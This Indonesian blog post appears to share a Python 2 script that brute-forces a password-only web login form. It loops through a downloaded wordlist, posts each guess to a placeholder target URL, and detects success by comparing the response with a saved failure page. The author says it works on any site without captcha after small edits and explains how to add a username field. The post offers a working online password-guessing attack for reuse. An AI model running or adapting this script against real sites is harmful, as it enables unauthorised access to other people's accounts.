Script Password Cracker Python

Beberapa hari yang lalu gw bikin script untuk password cracking ke salah satu form login yang ada di web. Form loginnya ini cuma perlu diinput password aja, entah kenapa yang bikin form loginnya nggak minta username juga. Mungkin karena asumsi dia nggak bakalan ada orang selain dia yang bakal login lewat halaman itu & halaman loginnya dia itu emang cuma untuk dipasang sementara di website yang bersangkutan sih. Script password cracker ini seharusnya bisa dipakai di website lain juga dengan sedikit modifikasi, selama websitenya nggak pake captcha untuk mastiin kalo yang nyoba login itu bukan bot.

Script ini sendiri gw bikin berdasarkan script bot yang pernah gw bikin sebelumnya sih. Di script bot itu ada satu function yang berfungsi untuk login. Nah, function untuk login ini bisa kita pakai untuk looping & otomatis nyobain password-password yang ada di file daftar password yang kita punya.

Sebelum scriptnya dijalanin, gw ngambil sampel source code HTML dari halaman webnya yang ditampilin kalau login kita gagal. Gw simpen source code HTMLnya di dalam file .txt, lalu gw simpen dengan nama “unauthorizedresponse.txt”. Lalu gw juga nyari file daftar password dari Google, lalu gw save dengan nama “passwords.txt”. Kalau pake Linux, lebih bagus pake wget karena file daftar password biasanya lumayan berat untuk dibuka di browser.

Lalu gw buat script Python ini & gw simpen di folder yang sama dengan dua text file tadi.

#!/usr/bin/python

import cookielib
import urllib
import urllib2

class PasswordCracker:

    def __init__(self, password):
        global stopexecution
        self.password = password
        self.cookiejar = cookielib.CookieJar()
        self.opener = urllib2.build_opener(
            urllib2.HTTPRedirectHandler(),
            urllib2.HTTPHandler(debuglevel=0),
            urllib2.HTTPSHandler(debuglevel=0),
            urllib2.HTTPCookieProcessor(self.cookiejar)
        )
        self.opener.addheaders = [
            ('User-agent', ('Mozilla/4.0 (compatible; MSIE 6.0; '
                           'Windows NT 5.2; .NET CLR 1.1.4322)'))
        ]

        #populate the cookie jar
        self.login()
        #actually does the login sequence
        self.login()

        data = ''
        response = self.opener.open('http://websitetarget.com')
        data = response.read()

        if data != ifnodata:
            print 'The right password is', self.password
            stopexecution = True

    def login(self):
        login_data = urllib.urlencode([
            ('pass', self.password)
        ])
        req = urllib2.Request('http://websitetarget.com/proses-login.php', login_data)
        response = self.opener.open(req)

stopexecution = False
f = open('unauthorizedresponse.txt', 'r')
ifnodata = f.read()
f = open('passwords.txt', 'r')

while not stopexecution:
    trypass = f.readline()
    truepass = trypass.split('\n')
    trypass = truepass[0]
    if not(trypass.startswith('#') or trypass == ''):
        print 'Trying password:', trypass
        cracker = PasswordCracker(trypass)

URL http://websitetarget.com bisa kita ganti dengan URL halaman utama dari website itu kalau kita udah login nanti. Sementara itu URL http://websitetarget.com/proses-login.php bisa diganti dengan URL halaman untuk ngeproses data login yang disubmit user lewat form login.

Untuk password cracking ke website yang minta username & password untuk data loginnya, modifikasi function login supaya ngirim username juga ke website yang bersangkutan untuk diproses loginnya.

One thought on “Script Password Cracker Python

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s